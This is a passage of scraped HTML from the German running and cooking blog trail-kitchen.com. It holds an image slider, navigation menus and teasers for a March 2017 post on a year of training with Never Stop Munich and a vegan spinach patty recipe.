<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/kräcker-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/küchlein-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Curry-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Energiekugeln-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Kaiserwinkl-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/schottland-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/MAlle-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Entenlochklamm-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Titel_Baumgartenschneid-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1180" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau-850x288.jpg 850w" data-lazy-sizes="(max-width: 1180px) 100vw, 1180px" /><noscript><img width="1180" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau.jpg 1180w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau-400x136.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau-768x260.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/Header_Eibau-850x288.jpg 850w" sizes="(max-width: 1180px) 100vw, 1180px" /></noscript>	
</div><div class="slide-image">
<img width="1278" height="400" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung.jpg" class="lazy lazy-hidden attachment-url size-url wp-post-image" alt="" decoding="async" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung.jpg 1278w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung-400x125.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung-768x240.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung-850x266.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung-1180x369.jpg 1180w" data-lazy-sizes="(max-width: 1278px) 100vw, 1278px" /><noscript><img width="1278" height="400" src="https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung.jpg" class="attachment-url size-url wp-post-image" alt="" decoding="async" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung.jpg 1278w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung-400x125.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung-768x240.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung-850x266.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2017/11/header-sprung-1180x369.jpg 1180w" sizes="(max-width: 1278px) 100vw, 1278px" /></noscript>	
</div>		</div>
		
	<script type="text/javascript">
	
	 jQuery(function() {
	
	  jQuery('.sp-rhimgs-slider-1').slidesjs({
		width: 1024,
		height: 350,
		start: 1,	
		play: {
		  active: true,
		  auto: true,
		  interval: 2000,
		  swap: true,
		  effect: "fade"
		},
	 
	 effect: {
	  slide: {        
		speed: 2000           
	  },
	  fade: {
		speed: 2000,         
		crossfade: true          
	  }
	},
	navigation: {
	 active: true,
	  effect: "fade"
	  },
		
	pagination: {
	  active: false,
	   effect: "fade"
	  
	}

	  });
	  
	
	});
	

	</script>
	
	</div>


	<!-- Header Bottom -->
			
	<div class="header-bottom">
		<div class="center-max-width">
			
			<div class="nav-btn">
				<i class="fa fa-bars"></i>
			</div>
			<!-- Carousel Scroll Btn -->
						
			<!-- Display Navigation -->
			<nav class="nav"><ul id="menu-hauptmenue" class=""><li id="menu-item-217" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-217"><a href="http://trail-kitchen.com">Home</a></li>
<li id="menu-item-214" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-214"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/">Trail und Run</a>
<ul class="sub-menu">
	<li id="menu-item-215" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-215"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/lauf-mit-mir/">Lauf mit &#8230;</a></li>
	<li id="menu-item-611" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-611"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/training/">Training</a></li>
	<li id="menu-item-1543" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1543"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/off-trail/">Off Trail</a></li>
	<li id="menu-item-1553" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1553"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/testberichte/">Testberichte</a></li>
	<li id="menu-item-400" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-400"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/wettkampfberichte/">Wettkampfberichte</a></li>
</ul>
</li>
<li id="menu-item-1970" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1970"><a href="https://www.trail-kitchen.com/fit-for-free/">Fit for free</a></li>
<li id="menu-item-212" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-212"><a href="https://www.trail-kitchen.com/kategorie/kueche/">Küche</a></li>
<li id="menu-item-104" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://www.trail-kitchen.com/ueber-mich/">Über mich</a></li>
<li id="menu-item-2358" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2358"><a href="https://www.trail-kitchen.com/kategorie/elternportal/">Elternportal</a></li>
</ul></nav>
			<!-- Display Mobile Navigation -->
			<nav class="nav-mobile"><ul id="menu-hauptmenue-1" class=""><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-217"><a href="http://trail-kitchen.com">Home</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-214"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/">Trail und Run</a>
<ul class="sub-menu">
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-215"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/lauf-mit-mir/">Lauf mit &#8230;</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-611"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/training/">Training</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1543"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/off-trail/">Off Trail</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1553"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/testberichte/">Testberichte</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-400"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/wettkampfberichte/">Wettkampfberichte</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1970"><a href="https://www.trail-kitchen.com/fit-for-free/">Fit for free</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-212"><a href="https://www.trail-kitchen.com/kategorie/kueche/">Küche</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://www.trail-kitchen.com/ueber-mich/">Über mich</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2358"><a href="https://www.trail-kitchen.com/kategorie/elternportal/">Elternportal</a></li>
</ul></nav>
			
		    <div class="clear"></div>
		</div>
	</div>
	<div id="adenit-breadcrumbs" class="adenit-breadcrumbs"><div class="center-max-width"><ul><li><a href="https://www.trail-kitchen.com" title="Home">Home</a></li><li class="separator"> / </li><li><a class="bread-year bread-year-2017" href="https://www.trail-kitchen.com/2017/" title="2017">2017&nbsp;Year</a></li><li class="separator"> / </li><li><strong title="März">März</strong></li></ul></div></div>
	<!-- Fixed Header Bottom -->
			
	<div class="fixed-header-bottom">
		<div class="center-max-width">
			
			<div class="nav-btn">
				<i class="fa fa-bars"></i>
			</div>
			<!-- Carousel Scroll Btn -->
						
			<!-- Display Navigation -->
			<nav class="nav"><ul id="menu-hauptmenue-2" class=""><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-217"><a href="http://trail-kitchen.com">Home</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-214"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/">Trail und Run</a>
<ul class="sub-menu">
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-215"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/lauf-mit-mir/">Lauf mit &#8230;</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-611"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/training/">Training</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1543"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/off-trail/">Off Trail</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1553"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/testberichte/">Testberichte</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-400"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/wettkampfberichte/">Wettkampfberichte</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1970"><a href="https://www.trail-kitchen.com/fit-for-free/">Fit for free</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-212"><a href="https://www.trail-kitchen.com/kategorie/kueche/">Küche</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://www.trail-kitchen.com/ueber-mich/">Über mich</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2358"><a href="https://www.trail-kitchen.com/kategorie/elternportal/">Elternportal</a></li>
</ul></nav>
			<!-- Display Mobile Navigation -->
			<nav class="nav-mobile"><ul id="menu-hauptmenue-3" class=""><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-217"><a href="http://trail-kitchen.com">Home</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-214"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/">Trail und Run</a>
<ul class="sub-menu">
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-215"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/lauf-mit-mir/">Lauf mit &#8230;</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-611"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/training/">Training</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1543"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/off-trail/">Off Trail</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1553"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/testberichte/">Testberichte</a></li>
	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-400"><a href="https://www.trail-kitchen.com/kategorie/trail-und-run/wettkampfberichte/">Wettkampfberichte</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1970"><a href="https://www.trail-kitchen.com/fit-for-free/">Fit for free</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-212"><a href="https://www.trail-kitchen.com/kategorie/kueche/">Küche</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://www.trail-kitchen.com/ueber-mich/">Über mich</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2358"><a href="https://www.trail-kitchen.com/kategorie/elternportal/">Elternportal</a></li>
</ul></nav>
			
		    <div class="clear"></div>
		</div>
	</div>
	
	<div class="responsive-column"></div>
<!-- // end header -->
</header>

<div class="main-container-wrap">

	<div class="center-max-width">

		
		<div class="main-container">
			
				
			
			<article
			id="post-1345" class="post-1345 post type-post status-publish format-standard has-post-thumbnail hentry category-lauf-mit-mir category-training tag-krafttraining tag-laufen tag-trail tag-trail-running tag-trailrunning tag-training tag-wandern main-post"			data-post-column ="col-3"
			data-post-gutter ="30"
			data-post-fullwidth ="0"
			>
			
<div class="entry-standard">
<figure class="entry-thumbnail"><a href="https://www.trail-kitchen.com/ein-jahr-training-wandern-und-trail-running-mit-never-stop-munich/" class="thumb-overlay"></a><img width="420" height="280" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-420x280.jpg" class="lazy lazy-hidden attachment-adenit-post-thumbnail size-adenit-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-420x280.jpg 420w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-30x20.jpg 30w" data-lazy-sizes="auto, (max-width: 420px) 100vw, 420px" /><noscript><img width="420" height="280" src="https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-420x280.jpg" class="attachment-adenit-post-thumbnail size-adenit-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-420x280.jpg 420w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/IMG_8282-30x20.jpg 30w" sizes="auto, (max-width: 420px) 100vw, 420px" /></noscript></figure></div>	
	<!-- Post Header -->
	<header class="entry-header">			
				
		<!-- Post Title -->
		<h2  class="post-title">
			<a href="https://www.trail-kitchen.com/ein-jahr-training-wandern-und-trail-running-mit-never-stop-munich/" >Ein Jahr Training, Wandern und Trail Running mit Never Stop Munich</a>
		</h2>
	</header>
	
	<!-- Post Content -->
	<div class="entry-content">
	<p>Geburtstage zu feiern finde ich großartig! Denn das bedeutet für mich immer eine tolle Zeit mit lieben Menschen zu verbringen und Etwas schönes zu unternehmen. Und selbstverständlich darf ein Geburtstagskuchen nicht fehlen. In dieser Woche habe ich sogar zwei Geburtstage feiern dürfen: Zum einen ist mein Blog ein Jahr alt geworden und zum anderen gibt&#8230;</p>
	
	</div>

	<!-- Post Footer -->
	<footer class="entry-footer">
		<div class="meta-author-date">
		<a href="https://www.trail-kitchen.com/author/marlen/" rel="author">marlen</a>&nbsp;/&nbsp;19. März 2017		</div>
		
		<div class="clear"></div>
	</footer>
		
				</article>
		
				
			
			<article
			id="post-1332" class="post-1332 post type-post status-publish format-standard has-post-thumbnail hentry category-kueche tag-ausdauersport tag-carbs tag-fitnessfood tag-gesund tag-glutenfrei tag-kohlenhydrate tag-naehrstoffe tag-rezept tag-spinat tag-vegan main-post"			data-post-column ="col-3"
			data-post-gutter ="30"
			data-post-fullwidth ="0"
			>
			
<div class="entry-standard">
<figure class="entry-thumbnail"><a href="https://www.trail-kitchen.com/indische-spinatkuechlein-vegane-energiespender/" class="thumb-overlay"></a><img width="420" height="280" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-lazy-type="image" data-lazy-src="https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-420x280.jpg" class="lazy lazy-hidden attachment-adenit-post-thumbnail size-adenit-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" data-lazy-srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-420x280.jpg 420w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-768x512.jpg 768w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein.jpg 850w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-30x20.jpg 30w" data-lazy-sizes="auto, (max-width: 420px) 100vw, 420px" /><noscript><img width="420" height="280" src="https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-420x280.jpg" class="attachment-adenit-post-thumbnail size-adenit-post-thumbnail wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-420x280.jpg 420w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-400x267.jpg 400w, https://www.trail-kitchen.com/wp-content/uploads/2017/03/Küchlein-768x512.jpg 768w, 